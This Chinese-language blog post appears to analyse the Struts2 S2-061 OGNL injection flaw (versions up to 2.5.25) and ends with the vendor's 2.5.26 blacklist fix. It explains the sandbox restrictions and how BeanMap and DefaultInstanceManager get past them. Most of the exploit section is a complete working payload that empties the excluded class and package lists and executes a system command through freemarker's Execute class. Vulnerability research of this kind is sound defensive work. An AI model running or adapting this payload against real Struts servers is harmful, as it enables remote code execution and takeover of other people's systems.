前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。


环境搭建

影响版本Struts 2.0.0 - Struts 2.5.25,这里使用struts 2.5.25。

官方通告,主要看沙盒绕过方式,需要引入一个老朋友依赖:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.2</version>
</dependency>

漏洞利用

现有的沙盒限制主要位于SecurityMemberAccess类中,类型如下:

  • 无法new一个对象,由isClassExcluded函数负责,前面的callConstructor函数将target设置为一个class,isAccessible函数中获得的targetClass就为Class.class,触发isClassExcluded函数中的:

    clazz == Class.class && !allowStaticMethodAccess
    
  • 无法调用黑名单类和包的方法、属性,由isPackageExcluded等函数负责

  • 无法使用反射,由isClassExcluded函数负责,由于将java.lang.Object和java.lang.Class放入黑名单,而反射需要调用它们的getClass、getDeclaredMethod等函数

  • 无法调用静态方法,由Modifier.isStatic和allowStaticMethodAccess属性负责

还在OgnlRuntime的invokeMethod函数中以写死的方式禁止了一些类,即绕过沙盒也无法使用它们。

我们现在还剩下的手段,就只有调用已实例化对象的非静态函数了。

#application中存在一个DefaultInstanceManager对象:

其newInstance函数如下:

public Object newInstance(String className) throws IllegalAccessException, InvocationTargetException, NamingException, InstantiationException, ClassNotFoundException, IllegalArgumentException, NoSuchMethodException, SecurityException {
    Class<?> clazz = this.loadClassMaybePrivileged(className, this.classLoader);
    return this.newInstance(clazz.getConstructor().newInstance(), clazz);
}

private Object newInstance(Object instance, Class<?> clazz) throws IllegalAccessException, InvocationTargetException, NamingException {
    if (!this.ignoreAnnotations) {
        Map<String, String> injections = this.assembleInjectionsFromClassHierarchy(clazz);
        this.populateAnnotationsCache(clazz, injections);
        this.processAnnotations(instance, injections);
        this.postConstruct(instance, clazz);
    }

    return instance;
}

可以通过一个字符串创建一个新的对象,但是要求该类存在public的无参构造函数。

老朋友依赖中的org.apache.commons.collections.BeanMap类存在public的无参构造函数:

public BeanMap() {
}

其setBean函数如下:

public void setBean(Object newBean) {
    this.bean = newBean;
    this.reinitialise();
}

reinitialise函数:

protected void reinitialise() {
    readMethods.clear();
    writeMethods.clear();
    types.clear();
    initialise();
}

private void initialise() {
    if(getBean() == null) return;

    Class  beanClass = getBean().getClass();
    try {
        //BeanInfo beanInfo = Introspector.getBeanInfo( bean, null );
        BeanInfo beanInfo = Introspector.getBeanInfo( beanClass );
        PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();
        if ( propertyDescriptors != null ) {
            for ( int i = 0; i < propertyDescriptors.length; i++ ) {
                PropertyDescriptor propertyDescriptor = propertyDescriptors[i];
                if ( propertyDescriptor != null ) {
                    String name = propertyDescriptor.getName();
                    Method readMethod = propertyDescriptor.getReadMethod();
                    Method writeMethod = propertyDescriptor.getWriteMethod();
                    Class aType = propertyDescriptor.getPropertyType();

                    if ( readMethod != null ) {
                        readMethods.put( name, readMethod );
                    }
                    if ( writeMethod != null ) {
                        writeMethods.put( name, writeMethod );
                    }
                    types.put( name, aType );
                }
            }
        }
    }
    ...
}

简单来说就是会获取输入的对象中的所有属性的描述符及相应的getter和setter放入对应的清空后的HashMap中。

然后其get函数:

public Object get(Object name) {
    if ( bean != null ) {
        Method method = getReadMethod( name );
        if ( method != null ) {
            try {
                return method.invoke( bean, NULL_ARGUMENTS );
            }
            catch (  IllegalAccessException e ) {
                logWarn( e );
            }
            catch ( IllegalArgumentException e ) {
                logWarn(  e );
            }
            catch ( InvocationTargetException e ) {
                logWarn(  e );
            }
            catch ( NullPointerException e ) {
                logWarn(  e );
            }
        }
    }
    return null;
}

可以调用输入name的getter函数,因为OgnlValueStack中存在getContext函数,所以可以通过BeanMap获取其中存放的context:

data1 = {
    "username": "%{"
                "(#stack=#attr['struts.valueStack'])."
                "(#beanmap=#application['org.apache.tomcat.InstanceManager'].newInstance(\"org.apache.commons.collections.BeanMap\"))."
                "(#beanmap.setBean(#stack))."
                "(#context=#beanmap.get(\"context\"))"
                "}"
}

通过调试可以看到结果:

获取到context后就可以通过其getMemberAccess函数获取SecurityMemberAccess,然后就是调用其setter清空其中的黑名单,这里可以使用BeanMap的put函数:

public Object put(Object name, Object value) throws IllegalArgumentException, ClassCastException {
    if ( bean != null ) {
        Object oldValue = get( name );
        Method method = getWriteMethod( name );
        if ( method == null ) {
            ...
        try {
            Object[] arguments = createWriteMethodArguments( method, value );
            method.invoke( bean, arguments );

            Object newValue = get( name );
            firePropertyChange( name, oldValue, newValue );
        }
        catch ( InvocationTargetException e ) {
            logInfo( e );
            throw new IllegalArgumentException( e.getMessage() );
        }
        catch ( IllegalAccessException e ) {
            logInfo( e );
            throw new IllegalArgumentException( e.getMessage() );
        }
        return oldValue;
    }
    return null;
}

虽然源码中的freemarker.template.utility.Execute类没有无参构造函数,但我们都知道JVM会给它自己加一个,所以最后payload:

data1 = {
    "username": "%{"
        "(#stack=#attr['struts.valueStack'])."
        "(#instanceManager=#application['org.apache.tomcat.InstanceManager'])."
        "(#beanmap=#instanceManager.newInstance(\"org.apache.commons.collections.BeanMap\"))."
        "(#emptySet=#instanceManager.newInstance(\"java.util.HashSet\"))."
        "(#beanmap.setBean(#stack))."
        "(#context=#beanmap.get(\"context\"))."
        "(#beanmap.setBean(#context))."
        "(#memberAccess=#beanmap.get(\"memberAccess\"))."
        "(#beanmap.setBean(#memberAccess))."
        "(#beanmap.put(\"excludedClasses\", #emptySet))."
        "(#beanmap.put(\"excludedPackageNames\", #emptySet))."
        "(#args=#instanceManager.newInstance(\"java.util.ArrayList\"))."
        "(#args.add(\"calc.exe\"))."
        "(#execute=#instanceManager.newInstance(\"freemarker.template.utility.Execute\"))."
        "(#execute.exec(#args))"
        "}"
}

漏洞分析

同S2-059。

漏洞修复

在Struts 2.5.26版本下,黑名单增加了:

<constant name="struts.excludedPackageNames"
          value="
                 ognl.,
                 java.io.,
                 java.net.,
                 java.nio.,
                 javax.,
                 freemarker.core.,
                 freemarker.template.,
                 freemarker.ext.jsp.,
                 freemarker.ext.rhino.,
                 sun.misc.,
                 sun.reflect.,
                 javassist.,
                 org.apache.velocity.,
                 org.objectweb.asm.,
                 org.springframework.context.,
                 com.opensymphony.xwork2.inject.,
                 com.opensymphony.xwork2.ognl.,
                 com.opensymphony.xwork2.security.,
                 com.opensymphony.xwork2.util.,
                 org.apache.tomcat.,
                 org.apache.catalina.core.,
                 com.ibm.websphere.,
                 org.apache.geronimo.,
                 org.apache.openejb.,
                 org.apache.tomee.,
                 org.eclipse.jetty.,
                 org.mortbay.jetty.,
                 org.glassfish.,
                 org.jboss.as.,
                 org.wildfly.,
                 weblogic.," />

禁止了org.apache.catalina.core.,即禁止了DefaultInstanceManager,无法再通过这个类实例化对象了。

同时populateComponentHtmlId函数中的id也变成了未经过表达式解析的%{username},双重评估也修了。


参考

https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-062
struts2系列漏洞 S2-059